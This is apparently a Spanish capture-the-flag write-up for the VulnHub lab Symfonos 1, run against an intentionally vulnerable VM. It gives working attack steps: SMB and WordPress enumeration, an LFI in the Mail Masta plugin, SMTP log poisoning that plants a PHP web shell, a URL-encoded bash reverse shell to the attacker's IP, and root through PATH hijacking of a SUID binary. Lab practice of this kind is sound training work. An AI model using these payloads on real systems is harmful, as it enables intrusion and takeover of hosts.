[VulnHub] Symfonos 1
Introducción
Se practican las siguientes habilidades:
- SMB enumeration
- Wordpress Enumeration
- SMTP Log poisoning
- Path Hijacking
- SUID abuse
Enumeracion
Se descubre el dominio symfonos.localdomain y los servicios:
nmap -p- 192.168.118.130 -n -Pn --open --min-rate 5000 -sS -vvvPORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 25/tcp open smtp syn-ack ttl 64 80/tcp open http syn-ack ttl 64 139/tcp open netbios-ssn syn-ack ttl 64 445/tcp open microsoft-ds syn-ack ttl 64
Tras probar a enumerar usuarios por ssh, mirar la web y no descubir nada, se procede a enumarar el 445 y se descubre:
enum4linux -a 192.168.118.130
- Usuarios: helios
- Recursos compartidos:
```bash
Sharename Type Comment
——— —- ——-
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
En el recurso anonymous entramos sin credenciales y vemos un fichero de texto que dice:
```bash
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus
Inmediatamente probamos enumerar el recurso de helios con una de esas 3 contraseñas y funciona con qwerty .
Ahí vemos otro fichero que dice:
1. Binge watch Dexter
2. Dance
3. Work on /h3l105
Tras muchas vueltas, probamos a poner /h3l105 en la url tras symfonos.localdomain y vemos que se trata de un wordpress. Ahí vemos que hay otro dominio: symfonos.local
Enumeracion wordpress
Tratamos de enumerar wordpress:
wpscan --url http://symfonos.local/h3l105 -e u, vp, vt
Vemos que el plugin “masta” es vulnerable a LFI, asi que con este payload podemos ver ficheros del sistema:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
SMTP Log Poisoning
Puesto que conocemos al usuario helios, tenemos un servicio smtp, tenemos lfi, al poder ver los logs de smtp podríamos acontecer un smtp log poisoning. para ello probamos con éxito:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
- El envenenamiento:
┌──(root㉿kali)-[/home/kali] └─# nc -vn 192.168.118.130 25 (UNKNOWN) [192.168.118.130] 25 (smtp) open 220 symfonos.localdomain ESMTP Postfix (Debian/GNU) MAIL FROM: glmbxecurity 250 2.1.0 Ok RCPT TO: helios 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> Subject: <?php system($_GET['cmd']); ?> . 250 2.0.0 Ok: queued as C1935406AE QUIT 221 2.0.0 Bye - La prueba, en la url del navegador, o con curl: ```bash http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id
* La reverse shell (urlencodeando el bash -c ...):
```bash
nc -nlvp 1234
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.118.128%2F1234%200%3E%261%27
Path Hijacking & SUID abuse
Buscando binarios SUID descubrimos /opt/statuscheck, al ejecutarlo parece que entre otras cosas hace un curl. asi que si está programado con rutas relativas, se puede falsear ese curl por un “bash -p”:
- creamos un fichero llamado en /tmp/curl cuyo contenido es “bash -p”
- editamos el path para incluir al principio el directorio /tmp
- damos permisos de ejecucion
- ejecutamos /opt/statuscheck
helios@symfonos:/home/helios$ export PATH=/tmp:$PATH
helios@symfonos:/home/helios$ touch /tmp/curl
helios@symfonos:/home/helios$ chmod +x /tmp/curl
helios@symfonos:/home/helios$ nano /tmp/curl
helios@symfonos:/home/helios$ /opt/statuscheck
bash-4.4# whoami
root